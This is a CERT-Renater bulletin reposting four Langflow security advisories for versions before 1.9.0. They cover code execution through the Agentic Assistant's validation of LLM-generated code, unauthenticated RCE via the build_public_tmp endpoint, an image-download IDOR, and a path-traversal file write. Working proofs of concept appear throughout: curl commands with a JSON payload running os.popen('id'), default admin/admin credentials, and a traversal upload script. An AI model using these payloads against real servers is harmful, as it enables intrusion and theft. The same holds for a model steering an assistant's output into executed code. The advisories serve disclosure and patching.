Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN338 _____________________________________________________________________ DATE : 27/03/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running langflow (pypi) versions prior to 1.9.0. ===================================================================== https://github.com/langflow-ai/langflow/security/advisories/GHSA-v8hw-mh8c-jxfc _____________________________________________________________________ Authenticated Code Execution in Agentic Assistant Validation Critical andifilhohub published GHSA-v8hw-mh8c-jxfc Mar 24, 2026 Package langflow (pypi) Affected versions <= 1.8.1 Patched versions 1.9.0 Description Description 1. Summary The Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. 2. Description 2.1 Intended Functionality The Agentic Assistant endpoints are designed to help users generate and validate components for a flow. Users can submit requests to the assistant, which returns candidate component code for further processing. A reasonable security expectation is that validation should treat model output as untrusted text and perform only static or side-effect-free checks. The externally reachable endpoints are: langflow/src/backend/base/langflow/agentic/api/router.py Lines 252 to 297 in f7f4d1e @router.post("/assist") async def assist( request: AssistantRequest, current_user: CurrentActiveUser, session: DbSession, ) -> dict: """Chat with the Langflow Assistant.""" ctx = await _resolve_assistant_context(request, current_user.id, session) logger.info(f"Executing {LANGFLOW_ASSISTANT_FLOW} with {ctx.provider}/{ctx.model_name}") return await execute_flow_with_validation( flow_filename=LANGFLOW_ASSISTANT_FLOW, input_value=request.input_value or "", global_variables=ctx.global_vars, max_retries=ctx.max_retries, user_id=str(current_user.id), session_id=ctx.session_id, provider=ctx.provider, model_name=ctx.model_name, api_key_var=ctx.api_key_name, ) @router.post("/assist/stream") async def assist_stream( request: AssistantRequest, current_user: CurrentActiveUser, session: DbSession, ) -> StreamingResponse: """Chat with the Langflow Assistant with streaming progress updates.""" ctx = await _resolve_assistant_context(request, current_user.id, session) return StreamingResponse( execute_flow_with_validation_streaming( flow_filename=LANGFLOW_ASSISTANT_FLOW, input_value=request.input_value or "", global_variables=ctx.global_vars, max_retries=ctx.max_retries, user_id=str(current_user.id), session_id=ctx.session_id, provider=ctx.provider, model_name=ctx.model_name, api_key_var=ctx.api_key_name, ), media_type="text/event-stream", The request model accepts attacker-influenceable fields such as input_value, flow_id, provider, model_name, session_id, and max_retries: langflow/src/backend/base/langflow/agentic/api/schemas.py Lines 20 to 31 in f7f4d1e class AssistantRequest(BaseModel): """Request model for assistant interactions.""" flow_id: str component_id: str | None = None field_name: str | None = None input_value: str | None = None max_retries: int | None = None model_name: str | None = None provider: str | None = None session_id: str | None = None 2.2 Root Cause In the affected code path, Langflow processes model output through the following chain: /assist → execute_flow_with_validation() → execute_flow_file() → LLM returns component code → extract_component_code() → validate_component_code() → create_class() → generated class is instantiated The assistant service reaches the validation path here: langflow/src/backend/base/langflow/agentic/services/assistant_service.py Lines 58 to 79 in f7f4d1e result = await execute_flow_file( flow_filename=flow_filename, input_value=current_input, global_variables=global_variables, verbose=True, user_id=user_id, session_id=session_id, provider=provider, model_name=model_name, api_key_var=api_key_var, ) response_text = extract_response_text(result) code = extract_component_code(response_text) if not code: logger.debug("No Python code found in response, returning as-is") return result logger.info("Validating generated component code...") validation = validate_component_code(code) The code extraction step occurs here: langflow/src/backend/base/langflow/agentic/helpers/code_extraction.py Lines 11 to 53 in f7f4d1e def extract_python_code(text: str) -> str | None: """Extract Python code from markdown code blocks. Handles both closed (```python ... ```) and unclosed blocks. Returns the first code block that appears to be a Langflow component. """ matches = _find_code_blocks(text) if not matches: return None return _find_component_code(matches) or matches[0].strip() def _find_code_blocks(text: str) -> list[str]: """Find all code blocks in text, handling both closed and unclosed blocks.""" matches = re.findall(PYTHON_CODE_BLOCK_PATTERN, text, re.IGNORECASE) if matches: return matches matches = re.findall(GENERIC_CODE_BLOCK_PATTERN, text) if matches: return matches return _find_unclosed_code_block(text) def _find_unclosed_code_block(text: str) -> list[str]: """Handle LLM responses that don't close the code block with ```.""" for pattern in [UNCLOSED_PYTHON_BLOCK_PATTERN, UNCLOSED_GENERIC_BLOCK_PATTERN]: match = re.search(pattern, text, re.IGNORECASE) if match: code = match.group(1).rstrip("`").strip() return [code] if code else [] return [] def _find_component_code(matches: list[str]) -> str | None: """Find the first match that looks like a Langflow component.""" for match in matches: if "class " in match and "Component" in match: return match.strip() return None The validation entry point is here: langflow/src/backend/base/langflow/agentic/helpers/validation.py Lines 27 to 47 in f7f4d1e def validate_component_code(code: str) -> ValidationResult: """Validate component code by attempting to create and instantiate the class. This instantiates the class to trigger __init__ validation checks, such as overlapping input/output names. """ class_name = _safe_extract_class_name(code) try: if class_name is None: msg = "Could not extract class name from code" raise ValueError(msg) # create_class returns the class (not an instance) component_class = create_class(code, class_name) # Instantiate the class to trigger __init__ validation # This catches errors like overlapping input/output names component_class() return ValidationResult(is_valid=True, code=code, class_name=class_name) The issue is that this validation path is not purely static. It ultimately invokes create_class() in lfx.custom.validate, where Python code is dynamically executed via exec(...), including both global-scope preparation and class construction. langflow/src/lfx/src/lfx/custom/validate.py Lines 241 to 272 in f7f4d1e def create_class(code, class_name): """Dynamically create a class from a string of code and a specified class name. Args: code: String containing the Python code defining the class class_name: Name of the class to be created Returns: A function that, when called, returns an instance of the created class Raises: ValueError: If the code contains syntax errors or the class definition is invalid """ if not hasattr(ast, "TypeIgnore"): ast.TypeIgnore = create_type_ignore_class() code = code.replace("from langflow import CustomComponent", "from langflow.custom import CustomComponent") code = code.replace( "from langflow.interface.custom.custom_component import CustomComponent", "from langflow.custom import CustomComponent", ) code = DEFAULT_IMPORT_STRING + "\n" + code try: module = ast.parse(code) exec_globals = prepare_global_scope(module) class_code = extract_class_code(module, class_name) compiled_class = compile_class_code(class_code) return build_class_constructor(compiled_class, exec_globals, class_name) langflow/src/lfx/src/lfx/custom/validate.py Lines 394 to 399 in f7f4d1e if definitions: combined_module = ast.Module(body=definitions, type_ignores=[]) compiled_code = compile(combined_module, "", "exec") exec(compiled_code, exec_globals) return exec_globals langflow/src/lfx/src/lfx/custom/validate.py Lines 441 to 443 in f7f4d1e exec_locals = dict(locals()) exec(compiled_class, exec_globals, exec_locals) exec_globals[class_name] = exec_locals[class_name] As a result, LLM-generated code is treated as executable Python rather than inert data. This means the “validation” step crosses a trust boundary and becomes an execution sink. The streaming path can also reach this sink when the request is classified into the component-generation branch: langflow/src/backend/base/langflow/agentic/services/assistant_service.py Lines 142 to 156 in f7f4d1e # Classify intent using LLM (handles multi-language support) # This translates the input and determines if user wants to generate a component or ask a question intent_result = await classify_intent( text=input_value, global_variables=global_variables, user_id=user_id, session_id=session_id, provider=provider, model_name=model_name, api_key_var=api_key_var, ) # Check if this is a component generation request based on LLM classification is_component_request = intent_result.intent == "generate_component" logger.info(f"Intent classification: {intent_result.intent} (is_component_request={is_component_request})") langflow/src/backend/base/langflow/agentic/services/assistant_service.py Lines 259 to 300 in f7f4d1e # Only extract and validate code for component generation requests response_text = extract_response_text(result) code = extract_component_code(response_text) if not code: # No code found even though user asked for component generation # Return as plain text response yield format_complete_event(result) return # Check for cancellation before extraction if await check_cancelled(): logger.info("Client disconnected before code extraction, cancelling") yield format_cancelled_event() return # Step 3: Extracting code (only shown when code is found) yield format_progress_event( "extracting_code", attempt, max_retries, message="Extracting Python code from response...", ) await asyncio.sleep(VALIDATION_UI_DELAY_SECONDS) # Check for cancellation before validation if await check_cancelled(): logger.info("Client disconnected before validation, cancelling") yield format_cancelled_event() return # Step 4: Validating yield format_progress_event( "validating", attempt, max_retries, message="Validating component code...", ) await asyncio.sleep(VALIDATION_UI_DELAY_SECONDS) validation = validate_component_code(code) 3. Proof of Concept (PoC) Send a request to the Agentic Assistant endpoint. Provide input that causes the model to return malicious component code. The returned code reaches the validation path. During validation, the server dynamically executes the generated Python. Arbitrary server-side code execution occurs. 4. Impact Attackers who can access the Agentic Assistant feature and influence model output may execute arbitrary Python code on the server. This can lead to: OS command execution file read/write credential or secret disclosure full compromise of the Langflow process 5. Exploitability Notes This issue is most accurately described as an authenticated or feature-reachable code execution vulnerability, rather than an unconditional unauthenticated remote attack. Severity depends on deployment model: In local-only, single-user development setups, the issue may be limited to self-exposure by the operator. In shared, team, or internet-exposed deployments, it may be exploitable by other users or attackers who can reach the assistant feature. The assistant feature depends on an active user context: langflow/src/backend/base/langflow/api/utils/core.py Line 38 in f7f4d1e CurrentActiveUser = Annotated[User, Depends(get_current_active_user)] Authentication sources include bearer token, cookie, or API key: langflow/src/backend/base/langflow/services/auth/utils.py Lines 39 to 53 in f7f4d1e async def __call__(self, request: Request) -> str | None: # First, check for explicit Authorization header (for backward compatibility and testing) authorization = request.headers.get("Authorization") scheme, param = get_authorization_scheme_param(authorization) if scheme.lower() == "bearer" and param: return param # Fall back to cookie (for HttpOnly cookie support in browser-based clients) token = request.cookies.get("access_token_lf") if token: return token # If auto_error is True, this would raise an exception # Since we set auto_error=False, return None return None langflow/src/backend/base/langflow/services/auth/utils.py Lines 156 to 163 in f7f4d1e async def get_current_user( token: Annotated[str | None, Security(oauth2_login)], query_param: Annotated[str | None, Security(api_key_query)], header_param: Annotated[str | None, Security(api_key_header)], db: AsyncSession = Depends(injectable_session_scope), ) -> User: try: return await _auth_service().get_current_user(token, query_param, header_param, db) Default deployment settings may widen exposure, including AUTO_LOGIN=true and the /api/v1/auto_login endpoint: langflow/src/lfx/src/lfx/services/settings/auth.py Lines 71 to 87 in f7f4d1e AUTO_LOGIN: bool = Field( default=True, # TODO: Set to False in v2.0 description=( "Enable automatic login with default credentials. " "SECURITY WARNING: This bypasses authentication and should only be used in development environments. " "Set to False in production. This will default to False in v2.0." ), ) """If True, the application will attempt to log in automatically as a super user.""" skip_auth_auto_login: bool = False """If True, the application will skip authentication when AUTO_LOGIN is enabled. This will be removed in v2.0""" WEBHOOK_AUTH_ENABLE: bool = False """If True, webhook endpoints will require API key authentication. If False, webhooks run as flow owner without authentication.""" langflow/src/backend/base/langflow/api/v1/login.py Lines 96 to 135 in f7f4d1e @router.get("/auto_login", include_in_schema=False) async def auto_login(response: Response, db: DbSession): auth_settings = get_settings_service().auth_settings if auth_settings.AUTO_LOGIN: auth = get_auth_service() user_id, tokens = await auth.create_user_longterm_token(db) response.set_cookie( "access_token_lf", tokens["access_token"], httponly=auth_settings.ACCESS_HTTPONLY, samesite=auth_settings.ACCESS_SAME_SITE, secure=auth_settings.ACCESS_SECURE, expires=None, # Set to None to make it a session cookie domain=auth_settings.COOKIE_DOMAIN, ) user = await get_user_by_id(db, user_id) if user: if user.store_api_key is None: user.store_api_key = "" response.set_cookie( "apikey_tkn_lflw", str(user.store_api_key), # Ensure it's a string httponly=auth_settings.ACCESS_HTTPONLY, samesite=auth_settings.ACCESS_SAME_SITE, secure=auth_settings.ACCESS_SECURE, expires=None, # Set to None to make it a session cookie domain=auth_settings.COOKIE_DOMAIN, ) if get_settings_service().settings.agentic_experience: from langflow.api.utils.mcp.agentic_mcp import initialize_agentic_user_variables await initialize_agentic_user_variables(user.id, db) return tokens 6. Patch Recommendation Remove all dynamic execution from the validation path. Ensure validation is strictly static and side-effect-free. Treat all LLM output as untrusted input. If code generation must be supported, require explicit approval and run it in a hardened sandbox isolated from the main server process. Discovered by: @kexinoh (https://github.com/kexinoh, works at Tencent Zhuque Lab) Severity Critical CVE ID CVE-2026-33873 Weaknesses Weakness CWE-20 Weakness CWE-94 Weakness CWE-95 Weakness CWE-284 Credits @kexinoh kexinoh Reporter @andifilhohub andifilhohub Analyst _____________________________________________________________________ Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint Critical andifilhohub published GHSA-vwmf-pq79-vjvx Mar 16, 2026 Package langflow (pip) Affected versions <= 1.8.2 Patched versions >= 1.9.0 Description Summary The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. Affected Code Vulnerable Endpoint (No Authentication) File: src/backend/base/langflow/api/v1/chat.py, lines 580-657 @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( *, flow_id: uuid.UUID, data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED request: Request, # ... NO Depends(get_current_active_user) -- MISSING AUTH ... ): """Build a public flow without requiring authentication.""" client_id = request.cookies.get("client_id") owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id) job_id = await start_flow_build( flow_id=new_flow_id, data=data, # Attacker's data passed directly to graph builder current_user=owner_user, ... ) Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser. Code Execution Chain When attacker-supplied data is provided, it flows through: start_flow_build(data=attacker_data) → generate_flow_events() -- build.py:81 create_graph() → build_graph_from_data(payload=data.model_dump()) -- build.py:298 Graph.from_payload(payload) parses attacker nodes -- base.py:1168 add_nodes_and_edges() → initialize() → _build_graph() -- base.py:270,527 _instantiate_components_in_vertices() iterates nodes -- base.py:1323 vertex.instantiate_component() → instantiate_class(vertex) -- loading.py:28 code = custom_params.pop("code") extracts attacker code -- loading.py:43 eval_custom_component_code(code) → create_class(code, class_name) -- eval.py:9 prepare_global_scope(module) -- validate.py:323 exec(compiled_code, exec_globals) -- ARBITRARY CODE EXECUTION -- validate.py:397 Unsandboxed exec() in prepare_global_scope File: src/lfx/src/lfx/custom/validate.py, lines 340-397 def prepare_global_scope(module): exec_globals = globals().copy() # Imports are resolved first (any module can be imported) for node in imports: module_obj = importlib.import_module(module_name) # line 352 exec_globals[variable_name] = module_obj # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef) if definitions: combined_module = ast.Module(body=definitions, type_ignores=[]) compiled_code = compile(combined_module, "", "exec") exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs." Prerequisites Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows) Attacker knows the public flow's UUID (discoverable via shared links/URLs) No authentication required -- only a client_id cookie (any arbitrary string value) When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker: GET /api/v1/auto_login → obtain superuser token POST /api/v1/flows/ → create a public flow Exploit via build_public_tmp without any auth Proof of Concept Tested Against Langflow version 1.7.3 (latest stable release, installed via pip install langflow) Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each) Step 1: Obtain a Public Flow ID (In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.) # Get superuser token (no credentials needed when AUTO_LOGIN=true) TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token') # Create a public flow FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \ | jq -r '.id') echo "Public Flow ID: $FLOW_ID" Step 2: Exploit -- Unauthenticated RCE # EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint # NO Authorization header, NO API key, NO credentials curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ -H "Content-Type: application/json" \ -b "client_id=attacker" \ -d '{ "data": { "nodes": [{ "id": "Exploit-001", "type": "genericNode", "position": {"x":0,"y":0}, "data": { "id": "Exploit-001", "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "required": true, "show": true, "multiline": true, "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})", "name": "code", "password": false, "advanced": false, "dynamic": false }, "_type": "Component" }, "description": "X", "base_classes": ["Data"], "display_name": "ExploitComp", "name": "ExploitComp", "frozen": false, "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}], "field_order": ["code"], "beta": false, "edited": false } } }], "edges": [] }, "inputs": null }' Step 3: Verify Code Execution # Wait 2 seconds for async graph building sleep 2 # Check proof file written by attacker's code on the server cat /tmp/rce-proof # Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali Actual Test Results ====================================================================== LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST ====================================================================== Version: Langflow 1.7.3 RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-f0d19b36 hostname: kali uid: 1000 whoami: aviral id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),... uname: Linux 6.16.8+kali-amd64 RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-6037a271 RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-4a796556 FINAL RESULTS Total checks: 15 VULNERABLE: 15 SAFE: 0 RCE confirmed: 3/3 runs Reproducible: YES (100%) Impact Unauthenticated Remote Code Execution with full server process privileges Complete server compromise: arbitrary file read/write, command execution Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated) Reverse shell access for persistent access Lateral movement within the network Data exfiltration from all flows, messages, and stored credentials in the database Comparison with CVE-2025-3248 Aspect CVE-2025-3248 This Vulnerability Endpoint /api/v1/validate/code /api/v1/build_public_tmp/{id}/flow Fix applied Added Depends(get_current_active_user) None -- NEW vulnerability Root cause Missing auth on code validation Unauthenticated endpoint accepts attacker-controlled executable code via data param Code execution via validate_code() → exec() create_class() → prepare_global_scope() → exec() CISA KEV Yes (actively exploited) N/A (new finding) Can simple auth fix? Yes (and it was fixed) No -- endpoint is designed to be unauthenticated; the data parameter must be removed Recommended Fix Immediate (Short-term) Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data: @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( *, flow_id: uuid.UUID, inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None, # REMOVED: data parameter -- public flows must use stored data only ... ): In generate_flow_events → create_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests: async def create_graph(fresh_session, flow_id_str, flow_name): # For public flows, ALWAYS load from database, never from user data return await build_graph_from_db( flow_id=flow_id, session=fresh_session, ... ) Severity Critical 9.3/ 10 CVSS v4 base metrics Exploitability Metrics Attack Vector Network Attack Complexity Low Attack Requirements None Privileges Required None User interaction None Vulnerable System Impact Metrics Confidentiality High Integrity High Availability High Subsequent System Impact Metrics Confidentiality Low Integrity Low Availability Low CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L CVE ID CVE-2026-33017 Weaknesses Weakness CWE-94 Weakness CWE-95 Weakness CWE-306 Credits @Aviral2642 Aviral2642 Reporter @andifilhohub andifilhohub Analyst @Jkavia Jkavia Remediation developer _____________________________________________________________________ Unauthenticated IDOR on Image Downloads High andifilhohub published GHSA-7grx-3xcx-2xv5 Mar 20, 2026 Package langflow (pypi) Affected versions >= 1.0.0, <= 1.8.1 Patched versions >=1.9.0 Description Summary The /api/v1/files/images/{flow_id}/{file_name} endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. Details src/backend/base/langflow/api/v1/files.py:138-164 — download_image takes flow_id: UUID as a bare path parameter with no Depends(get_flow) or CurrentActiveUser. All other file routes (download_file, upload_file, list_files, delete_file) use Depends(get_flow) which enforces both authentication and ownership. There is no global auth middleware on /api/v1; protection is per-endpoint only. PoC curl -v "http://localhost:7860/api/v1/files/images//" # Returns HTTP 200 with image bytes, no auth header required Impact Unauthenticated cross-tenant data leak. In a multi-tenant deployment, any attacker who can discover or guess a flow_id (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Severity High 7.5/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction None Scope Unchanged Confidentiality High Integrity None Availability None CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVE ID CVE-2026-33484 Weaknesses Weakness CWE-284 Weakness CWE-639 Weakness CWE-862 Credits @akshatgit akshatgit Reporter @abhinavagarwal07 abhinavagarwal07 Remediation reviewer @andifilhohub andifilhohub Remediation developer _____________________________________________________________________ Arbitrary File Write (RCE) via v2 API Critical andifilhohub published GHSA-g2j9-7rj2-gm6c Mar 18, 2026 Package langflow (pip) Affected versions >= 1.2.0, <= 1.8.1 Patched versions >=1.9.0 Description Summary While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency. This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Details The vulnerability exists in two layers: API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters. Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check. Recommended Fix: Sanitize the multipart filename before processing: from pathlib import Path as StdPath new_filename = StdPath(file.filename or "").name # Strips directory traversal characters if not new_filename or ".." in new_filename: raise HTTPException(status_code=400, detail="Invalid file name") Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class. PoC This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory. import requests BASE_URL = "http://localhost:7860" # Authenticate to get a valid JWT token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"] # Payload using directory traversal in the multipart filename TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY" resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, ) print(f"Status: {resp.status_code}") # Returns 201 # The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt` Server Logs: 2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. Docker cntainer file: user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt Impact Critical (CVSS 9.0+). Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server. Severity Critical 10.0/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-33309 Weaknesses Weakness CWE-22 Weakness CWE-73 Weakness CWE-94 Weakness CWE-284 Credits @akshatgit akshatgit Reporter @abhinavagarwal07 abhinavagarwal07 Remediation reviewer @Jkavia Jkavia Remediation developer @andifilhohub andifilhohub Analyst ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================